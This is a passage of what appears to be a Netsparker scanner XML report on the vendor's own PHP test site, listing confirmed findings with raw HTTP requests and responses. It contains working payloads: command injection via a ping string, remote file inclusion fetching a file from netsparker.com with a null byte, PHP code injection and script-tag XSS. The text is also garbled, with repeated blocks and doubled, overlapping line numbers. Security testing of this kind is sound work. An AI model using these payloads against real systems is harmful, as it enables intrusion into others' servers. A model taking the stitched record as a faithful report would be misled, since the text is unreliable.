1788 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
1789 <li><a href="hello.php?name=Visitor">Hello</a></li>
1790 <li><a href="products.php?pro=url">Products</a></li>
1791 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
1792 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
1793 <li><a href="auth/">Login</a></li>
1794 </ul>
1795 </div>
1796 <!-- end #menu -->
1797 <div id="header">
1798
1799 </div>
18001800 <!-- end #header --> <div id="page">
18011801 <div id="page-bgtop">
18021802 <div id="page-bgbtm">
18461846 <div style="clear: both;">&nbsp;</div>
18471847 </div>
18481848 <!-- end #content -->
1849
1850 <div id="sidebar">
1851 <ul>
1852 <li>
1853 <div id="search" >
1854 <form method="get" action="artist.php">
1855 <div>
1856 <input type="text" name="s" id="search-text" value="" />
1857 <input type="submit" id="search-submit" value="GO" />
1858 </div>
1859 </form>
1860
1861 </div>
1862 <div style="clear: both;">&nbsp;</div>
1863 </li>
1864 <li>
1865 <h2>Tags</h2>
1866 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
1867 </li>
1868 <li>
1869 <h2>Inner Pages</h2>
1870 <ul>
1871 <li><a href="artist.php?id=test">Artist Search</a></li>
1872 <li><a href="nslookup.php">Lookup Service</a></li>
1873 </ul>
1874 </li>
1875 <li>
1876 <h2>Links</h2>
1877 <ul>
1878 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
1879 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
1880 </ul>
1881 </li>
1882 </ul>
1849
1850 <div id="sidebar">
1851 <ul>
1852 <li>
1853 <div id="search" >
1854 <form method="get" action="artist.php">
1855 <div>
1856 <input type="text" name="s" id="search-text" value="" />
1857 <input type="submit" id="search-submit" value="GO" />
1858 </div>
1859 </form>
1860
1861 </div>
1862 <div style="clear: both;">&nbsp;</div>
1863 </li>
1864 <li>
1865 <h2>Tags</h2>
1866 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
1867 </li>
1868 <li>
1869 <h2>Inner Pages</h2>
1870 <ul>
1871 <li><a href="artist.php?id=test">Artist Search</a></li>
1872 <li><a href="nslookup.php">Lookup Service</a></li>
1873 </ul>
1874 </li>
1875 <li>
1876 <h2>Links</h2>
1877 <ul>
1878 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
1879 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
1880 </ul>
1881 </li>
1882 </ul>
18831883 </div> <!-- end #sidebar -->
18841884 <div style="clear: both;">&nbsp;</div>
18851885 </div>
18881888 <!-- end #page -->
18891889 </div>
18901890
1891 <div id="footer">
1892 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
1891 <div id="footer">
1892 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
18931893 </div> <!-- end #footer -->
18941894 </body>
18951895 </html>
1896 ]]></rawresponse>
1897 <extrainformation>
1898 </extrainformation>
1899
1900 <classification>
1901 <OWASP>A1</OWASP>
1902 <WASC>31</WASC>
1903 <CWE>78</CWE>
1904 <CAPEC>88</CAPEC>
1905 <PCI>6.5.2</PCI>
1906 <PCI2>6.5.1</PCI2>
1907 </classification>
1908
1909 </vulnerability>
1910 <vulnerability confirmed="True">
1911 <url>http://php.testsparker.com/nslookup.php</url>
1912 <type>BlindCommandInjection</type>
1913 <severity>Critical</severity>
1914 <certainty>100</certainty>
1915
1916 <vulnerableparametertype>POST</vulnerableparametertype>
1917 <vulnerableparameter>param</vulnerableparameter>
1918 <vulnerableparametervalue>&apos;&amp; ping -n 25 127.0.0.1 &amp;</vulnerableparametervalue>
1919 <rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
1920 Cache-Control: no-cache
1921 Referer: http://php.testsparker.com/nslookup.php
1922 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
1923 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
1924 X-Scanner: Netsparker
1925 Accept-Language: en-us,en;q=0.5
1926 Host: php.testsparker.com
1927 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
1928 Accept-Encoding: gzip, deflate
1929 Content-Length: 37
1930 Content-Type: application/x-www-form-urlencoded
1931
1932 param=%27%26+ping+-n+25+127.0.0.1+%26]]></rawrequest>
1933 <rawresponse><![CDATA[HTTP/1.1 200 OK
1934 Date: Fri, 29 Nov 2013 11:28:41 GMT
1935 Server: Apache/2.2.8 (Win32) PHP/5.2.6
1936 X-Powered-By: PHP/5.2.6
1937 Content-Length: 5273
1938 Content-Type: text/html
1939
1940
1941 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1942 <html xmlns="http://www.w3.org/1999/xhtml">
1943 <head>
1944 <meta name="keywords" content="" />
1945 <meta name="description" content="" />
1946 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
1947 <title>Netsparker Test Web Site - PHP</title>
1948 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
1896 ]]></rawresponse>
1897 <extrainformation>
1898 </extrainformation>
1899
1900 <classification>
1901 <OWASP>A1</OWASP>
1902 <WASC>31</WASC>
1903 <CWE>78</CWE>
1904 <CAPEC>88</CAPEC>
1905 <PCI>6.5.2</PCI>
1906 <PCI2>6.5.1</PCI2>
1907 </classification>
1908
1909 </vulnerability>
1910 <vulnerability confirmed="True">
1911 <url>http://php.testsparker.com/nslookup.php</url>
1912 <type>BlindCommandInjection</type>
1913 <severity>Critical</severity>
1914 <certainty>100</certainty>
1915
1916 <vulnerableparametertype>POST</vulnerableparametertype>
1917 <vulnerableparameter>param</vulnerableparameter>
1918 <vulnerableparametervalue>&apos;&amp; ping -n 25 127.0.0.1 &amp;</vulnerableparametervalue>
1919 <rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
1920 Cache-Control: no-cache
1921 Referer: http://php.testsparker.com/nslookup.php
1922 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
1923 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
1924 X-Scanner: Netsparker
1925 Accept-Language: en-us,en;q=0.5
1926 Host: php.testsparker.com
1927 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
1928 Accept-Encoding: gzip, deflate
1929 Content-Length: 37
1930 Content-Type: application/x-www-form-urlencoded
1931
1932 param=%27%26+ping+-n+25+127.0.0.1+%26]]></rawrequest>
1933 <rawresponse><![CDATA[HTTP/1.1 200 OK
1934 Date: Fri, 29 Nov 2013 11:28:41 GMT
1935 Server: Apache/2.2.8 (Win32) PHP/5.2.6
1936 X-Powered-By: PHP/5.2.6
1937 Content-Length: 5273
1938 Content-Type: text/html
1939
1940
1941 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1942 <html xmlns="http://www.w3.org/1999/xhtml">
1943 <head>
1944 <meta name="keywords" content="" />
1945 <meta name="description" content="" />
1946 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
1947 <title>Netsparker Test Web Site - PHP</title>
1948 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
19491949 </head><script type=text/javascript src = "" ></script>
19501950 <body>
19511951 <div id="wrapper">
1952
1953 <div id="menu">
1954 <ul>
1955 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
1956 <li><a href="hello.php?name=Visitor">Hello</a></li>
1957 <li><a href="products.php?pro=url">Products</a></li>
1958 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
1959 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
1960 <li><a href="auth/">Login</a></li>
1961 </ul>
1962 </div>
1963 <!-- end #menu -->
1964 <div id="header">
1965
1966 </div>
1952
1953 <div id="menu">
1954 <ul>
1955 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
1956 <li><a href="hello.php?name=Visitor">Hello</a></li>
1957 <li><a href="products.php?pro=url">Products</a></li>
1958 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
1959 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
1960 <li><a href="auth/">Login</a></li>
1961 </ul>
1962 </div>
1963 <!-- end #menu -->
1964 <div id="header">
1965
1966 </div>
19671967 <!-- end #header --> <div id="page">
19681968 <div id="page-bgtop">
19691969 <div id="page-bgbtm">
20452045 <div style="clear: both;">&nbsp;</div>
20462046 </div>
20472047 <!-- end #content -->
2048
2049 <div id="sidebar">
2050 <ul>
2051 <li>
2052 <div id="search" >
2053 <form method="get" action="artist.php">
2054 <div>
2055 <input type="text" name="s" id="search-text" value="" />
2056 <input type="submit" id="search-submit" value="GO" />
2057 </div>
2058 </form>
2059
2060 </div>
2061 <div style="clear: both;">&nbsp;</div>
2062 </li>
2063 <li>
2064 <h2>Tags</h2>
2065 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2066 </li>
2067 <li>
2068 <h2>Inner Pages</h2>
2069 <ul>
2070 <li><a href="artist.php?id=test">Artist Search</a></li>
2071 <li><a href="nslookup.php">Lookup Service</a></li>
2072 </ul>
2073 </li>
2074 <li>
2075 <h2>Links</h2>
2076 <ul>
2077 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2078 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2079 </ul>
2080 </li>
2081 </ul>
2048
2049 <div id="sidebar">
2050 <ul>
2051 <li>
2052 <div id="search" >
2053 <form method="get" action="artist.php">
2054 <div>
2055 <input type="text" name="s" id="search-text" value="" />
2056 <input type="submit" id="search-submit" value="GO" />
2057 </div>
2058 </form>
2059
2060 </div>
2061 <div style="clear: both;">&nbsp;</div>
2062 </li>
2063 <li>
2064 <h2>Tags</h2>
2065 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2066 </li>
2067 <li>
2068 <h2>Inner Pages</h2>
2069 <ul>
2070 <li><a href="artist.php?id=test">Artist Search</a></li>
2071 <li><a href="nslookup.php">Lookup Service</a></li>
2072 </ul>
2073 </li>
2074 <li>
2075 <h2>Links</h2>
2076 <ul>
2077 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2078 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2079 </ul>
2080 </li>
2081 </ul>
20822082 </div> <!-- end #sidebar -->
20832083 <div style="clear: both;">&nbsp;</div>
20842084 </div>
20872087 <!-- end #page -->
20882088 </div>
20892089
2090 <div id="footer">
2091 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2090 <div id="footer">
2091 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
20922092 </div> <!-- end #footer -->
20932093 </body>
20942094 </html>
2095 ]]></rawresponse>
2096 <extrainformation>
2097 </extrainformation>
2098
2099 <classification>
2100 <OWASP>A1</OWASP>
2101 <WASC>31</WASC>
2102 <CWE>78</CWE>
2103 <CAPEC>88</CAPEC>
2104 <PCI>6.5.2</PCI>
2105 <PCI2>6.5.1</PCI2>
2106 </classification>
2107
2108 </vulnerability>
2109 <vulnerability confirmed="True">
2110 <url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
2111 <type>Rfi</type>
2112 <severity>Critical</severity>
2113 <certainty>100</certainty>
2114
2115 <vulnerableparametertype>GET</vulnerableparametertype>
2116 <vulnerableparameter>file</vulnerableparameter>
2117 <vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
2118 <rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
2119 Cache-Control: no-cache
2120 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2121 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2122 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2123 X-Scanner: Netsparker
2124 Accept-Language: en-us,en;q=0.5
2125 Host: php.testsparker.com
2126 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2127 Accept-Encoding: gzip, deflate
2128
2129 ]]></rawrequest>
2130 <rawresponse><![CDATA[HTTP/1.1 200 OK
2131 Date: Fri, 29 Nov 2013 11:27:03 GMT
2132 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2133 X-Powered-By: PHP/5.2.6
2134 Content-Length: 1615
2135 Content-Type: text/html
2136
2137
2138 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2139 <html xmlns="http://www.w3.org/1999/xhtml">
2140 <head>
2141 <meta name="keywords" content="" />
2142 <meta name="description" content="" />
2143 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2144 <title>Netsparker Test Web Site - PHP</title>
2145 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2146 </head><body>
2147 <div id="wrapper">
2148
2149 <div id="menu">
2150 <ul>
2151 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2152 <li><a href="hello.php?name=Visitor">Hello</a></li>
2153 <li><a href="products.php?pro=url">Products</a></li>
2154 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2155 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2156 <li><a href="auth/">Login</a></li>
2157 </ul>
2158 </div>
2159 <!-- end #menu -->
2160 <div id="header">
2161
2162 </div>
2163 <!-- end #header --> NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
2164 <%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
2165 <script>netsparkerRFI(0x066666)</script> <!-- process.php load pages from path of the website. -->
2166 <!-- FIXME: File / directory permissions -->
2167 <!-- end #page -->
2168 </div>
2169
2170 <div id="footer">
2171 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2172 </div> <!-- end #footer -->
2173 </body>
2174 </html>
2175 ]]></rawresponse>
2176 <extrainformation>
2177 </extrainformation>
2178
2179 <classification>
2180 <OWASP>A1</OWASP>
2181 <WASC>05</WASC>
2182 <CWE>98</CWE>
2183 <CAPEC>193</CAPEC>
2184 <PCI>6.5.3</PCI>
2185 <PCI2>6.5.1</PCI2>
2186 </classification>
2187
2188 </vulnerability>
2189 <vulnerability confirmed="True">
2190 <url>http://php.testsparker.com/hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f</url>
2191 <type>RcePhp</type>
2192 <severity>Critical</severity>
2193 <certainty>100</certainty>
2194
2195 <vulnerableparametertype>GET</vulnerableparametertype>
2196 <vulnerableparameter>name</vulnerableparameter>
2197 <vulnerableparametervalue>+print(int)0xFFF9999-22;//</vulnerableparametervalue>
2198 <rawrequest><![CDATA[GET /hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f HTTP/1.1
2199 Cache-Control: no-cache
2200 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2201 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2202 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2203 X-Scanner: Netsparker
2204 Accept-Language: en-us,en;q=0.5
2205 Host: php.testsparker.com
2206 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2207 Accept-Encoding: gzip, deflate
2208
2209 ]]></rawrequest>
2210 <rawresponse><![CDATA[HTTP/1.1 200 OK
2211 Date: Fri, 29 Nov 2013 11:26:47 GMT
2212 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2213 X-Powered-By: PHP/5.2.6
2214 Content-Length: 2762
2215 Content-Type: text/html
2216
2217
2218 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2219 <html xmlns="http://www.w3.org/1999/xhtml">
2220 <head>
2221 <meta name="keywords" content="" />
2222 <meta name="description" content="" />
2223 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2224 <title>Netsparker Test Web Site - PHP</title>
2225 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2226 </head><body>
2227 <div id="wrapper">
2228
2229 <div id="menu">
2230 <ul>
2231 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2232 <li><a href="hello.php?name=Visitor">Hello</a></li>
2233 <li><a href="products.php?pro=url">Products</a></li>
2234 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2235 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2236 <li><a href="auth/">Login</a></li>
2237 </ul>
2238 </div>
2239 <!-- end #menu -->
2240 <div id="header">
2241
2242 </div>
2243 <!-- end #header --> <div id="page">
2244 <div id="page-bgtop">
2245 <div id="page-bgbtm">
2246 <div id="content">
2247 <div class="post">
2248 <h1 class="title"><a href="#">Hello Service </a></h1>
2249 <p>
2250 Hello Visitor26840921921$str = 21 +print(int)0xFFF9999-22;//;21 </p>
2251
2252 <div style="clear: both;">&nbsp;</div>
2253 <div class="entry">
2254
2255
2256 </div>
2257 </div>
2258 <div style="clear: both;">&nbsp;</div>
2259 </div>
2260 <!-- end #content -->
2261
2262 <div id="sidebar">
2263 <ul>
2264 <li>
2265 <div id="search" >
2266 <form method="get" action="artist.php">
2267 <div>
2268 <input type="text" name="s" id="search-text" value="" />
2269 <input type="submit" id="search-submit" value="GO" />
2270 </div>
2271 </form>
2272
2273 </div>
2274 <div style="clear: both;">&nbsp;</div>
2275 </li>
2276 <li>
2277 <h2>Tags</h2>
2278 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2279 </li>
2280 <li>
2281 <h2>Inner Pages</h2>
2282 <ul>
2283 <li><a href="artist.php?id=test">Artist Search</a></li>
2284 <li><a href="nslookup.php">Lookup Service</a></li>
2285 </ul>
2286 </li>
2287 <li>
2288 <h2>Links</h2>
2289 <ul>
2290 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2291 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2292 </ul>
2293 </li>
2294 </ul>
2295 </div> <!-- end #sidebar -->
2296 <div style="clear: both;">&nbsp;</div>
2297 </div>
2298 </div>
2299 </div>
2300 <!-- end #page -->
2301 </div>
2302 v
2303 <div id="footer">
2304 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2305 </div> <!-- end #footer -->
2306 </body>
2307 </html>
2308 ]]></rawresponse>
2309 <extrainformation>
2310 </extrainformation>
2311
2312 <classification>
2313 <OWASP>A1</OWASP>
2314 <WASC></WASC>
2315 <CWE>95</CWE>
2316 <CAPEC>23</CAPEC>
2317 <PCI>6.5.2</PCI>
2318 <PCI2>6.5.1</PCI2>
2319 </classification>
2320
2321 </vulnerability>
2322 <vulnerability confirmed="True">
2323 <url>http://php.testsparker.com/products.php?pro=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%3ealert(0x000097)%3c%2fscRipt%3e</url>
2324 <type>Xss</type>
2325 <severity>Important</severity>
2326 <certainty>100</certainty>
2327
2328 <vulnerableparametertype>GET</vulnerableparametertype>
2329 <vulnerableparameter>pro</vulnerableparameter>
2330 <vulnerableparametervalue>&apos;&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x000097)&lt;/scRipt&gt;</vulnerableparametervalue>
2331 <rawrequest><![CDATA[GET /products.php?pro='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000097)%3C/scRipt%3E HTTP/1.1
2332 Cache-Control: no-cache
2333 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2334 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2335 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2336 X-Scanner: Netsparker
2337 Accept-Language: en-us,en;q=0.5
2338 Host: php.testsparker.com
2339 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2340 Accept-Encoding: gzip, deflate
2341
2342 ]]></rawrequest>
2343 <rawresponse><![CDATA[HTTP/1.1 200 OK
2344 Date: Fri, 29 Nov 2013 11:26:49 GMT
2345 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2346 X-Powered-By: PHP/5.2.6
2347 Content-Length: 2749
2348 Content-Type: text/html
2349
2350
2351
2352
2353 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2354 <html xmlns="http://www.w3.org/1999/xhtml">
2355 <head>
2356 <meta name="keywords" content="" />
2357 <meta name="description" content="" />
2358 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2359 <title>Netsparker Test Web Site - PHP</title>
2360 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2361 </head><script type=text/javascript src = "'"--></style></scRipt><scRipt>netsparker(0x000097)</scRipt>" ></script>
2362 <body>
2363 <div id="wrapper">
2364
2365 <div id="menu">
2366 <ul>
2367 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2368 <li><a href="hello.php?name=Visitor">Hello</a></li>
2369 <li><a href="products.php?pro=url">Products</a></li>
2370 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2371 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2372 <li><a href="auth/">Login</a></li>
2373 </ul>
2374 </div>
2375 <!-- end #menu -->
2376 <div id="header">
2377
2378 </div>
2379 <!-- end #header --> <div id="page">
2380 <div id="page-bgtop">
2381 <div id="page-bgbtm">
2382 <div id="content">
2383 <div class="post">
2384 <div class="entry">
2385 <h1 class="title"><a href="#">Products </a></h1>
2386 <p>Currently , we don&#39;t have any products to sell.</p>
2387 </div>
2388 </div>
2389 <div style="clear: both;">&nbsp;</div>
2390 </div>
2391 <!-- end #content -->
2392
2393 <div id="sidebar">
2394 <ul>
2395 <li>
2396 <div id="search" >
2397 <form method="get" action="artist.php">
2398 <div>
2399 <input type="text" name="s" id="search-text" value="" />
2400 <input type="submit" id="search-submit" value="GO" />
2401 </div>
2402 </form>
2403
2404 </div>
2405 <div style="clear: both;">&nbsp;</div>
2406 </li>
2407 <li>
2408 <h2>Tags</h2>
2409 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2410 </li>
2411 <li>
2412 <h2>Inner Pages</h2>
2413 <ul>
2414 <li><a href="artist.php?id=test">Artist Search</a></li>
2415 <li><a href="nslookup.php">Lookup Service</a></li>
2416 </ul>
2417 </li>
2418 <li>
2419 <h2>Links</h2>
2420 <ul>
2421 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2422 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2423 </ul>
2424 </li>
2425 </ul>
2426 </div> <!-- end #sidebar -->
2427 <div style="clear: both;">&nbsp;</div>
2428 </div>
2429 </div>
2430 </div>
2431 <!-- end #page -->
2432 </div>
2433
2434 <div id="footer">
2435 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2436 </div> <!-- end #footer -->
2437 </body>
2438 </html>
2439 ]]></rawresponse>
2440 <extrainformation>
2441 </extrainformation>
2442
2443 <classification>
2444 <OWASP>A2</OWASP>
2445 <WASC>08</WASC>
2446 <CWE>79</CWE>
2447 <CAPEC>19</CAPEC>
2448 <PCI>6.5.1</PCI>
2449 <PCI2>6.5.7</PCI2>
2450 </classification>
2451
2452 </vulnerability>
2453 <vulnerability confirmed="True">
2454 <url>http://php.testsparker.com/hello.php?name=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%3ealert(0x000090)%3c%2fscRipt%3e</url>
2455 <type>Xss</type>
2456 <severity>Important</severity>
2457 <certainty>100</certainty>
2458
2459 <vulnerableparametertype>GET</vulnerableparametertype>
2460 <vulnerableparameter>name</vulnerableparameter>
2461 <vulnerableparametervalue>&apos;&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x000090)&lt;/scRipt&gt;</vulnerableparametervalue>
2462 <rawrequest><![CDATA[GET /hello.php?name='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000090)%3C/scRipt%3E HTTP/1.1
2463 Cache-Control: no-cache
2464 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2465 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2466 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2467 X-Scanner: Netsparker
2468 Accept-Language: en-us,en;q=0.5
2469 Host: php.testsparker.com
2470 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2471 Accept-Encoding: gzip, deflate
2472
2473 ]]></rawrequest>
2474 <rawresponse><![CDATA[HTTP/1.1 200 OK
2475 Date: Fri, 29 Nov 2013 11:26:39 GMT
2476 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2477 X-Powered-By: PHP/5.2.6
2478 Content-Length: 3078
2479 Content-Type: text/html
2480
2481
2482 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2483 <html xmlns="http://www.w3.org/1999/xhtml">
2484 <head>
2485 <meta name="keywords" content="" />
2486 <meta name="description" content="" />
2487 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2488 <title>Netsparker Test Web Site - PHP</title>
2489 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2490 </head><body>
2491 <div id="wrapper">
2492
2493 <div id="menu">
2494 <ul>
2495 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2496 <li><a href="hello.php?name=Visitor">Hello</a></li>
2497 <li><a href="products.php?pro=url">Products</a></li>
2498 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2499 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2500 <li><a href="auth/">Login</a></li>
2501 </ul>
2502 </div>
2503 <!-- end #menu -->
2504 <div id="header">
2505
2506 </div>
2507 <!-- end #header --> <div id="page">
2508 <div id="page-bgtop">
2509 <div id="page-bgbtm">
2510 <div id="content">
2511 <div class="post">
2512 <h1 class="title"><a href="#">Hello Service </a></h1>
2513 <p>
2095 ]]></rawresponse>
2096 <extrainformation>
2097 </extrainformation>
2098
2099 <classification>
2100 <OWASP>A1</OWASP>
2101 <WASC>31</WASC>
2102 <CWE>78</CWE>
2103 <CAPEC>88</CAPEC>
2104 <PCI>6.5.2</PCI>
2105 <PCI2>6.5.1</PCI2>
2106 </classification>
2107
2108 </vulnerability>
2109 <vulnerability confirmed="True">
2110 <url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
2111 <type>Rfi</type>
2112 <severity>Critical</severity>
2113 <certainty>100</certainty>
2114
2115 <vulnerableparametertype>GET</vulnerableparametertype>
2116 <vulnerableparameter>file</vulnerableparameter>
2117 <vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
2118 <rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
2119 Cache-Control: no-cache
2120 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2121 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2122 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2123 X-Scanner: Netsparker
2124 Accept-Language: en-us,en;q=0.5
2125 Host: php.testsparker.com
2126 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2127 Accept-Encoding: gzip, deflate
2128
2129 ]]></rawrequest>
2130 <rawresponse><![CDATA[HTTP/1.1 200 OK
2131 Date: Fri, 29 Nov 2013 11:27:03 GMT
2132 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2133 X-Powered-By: PHP/5.2.6
2134 Content-Length: 1615
2135 Content-Type: text/html
2136
2137
2138 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2139 <html xmlns="http://www.w3.org/1999/xhtml">
2140 <head>
2141 <meta name="keywords" content="" />
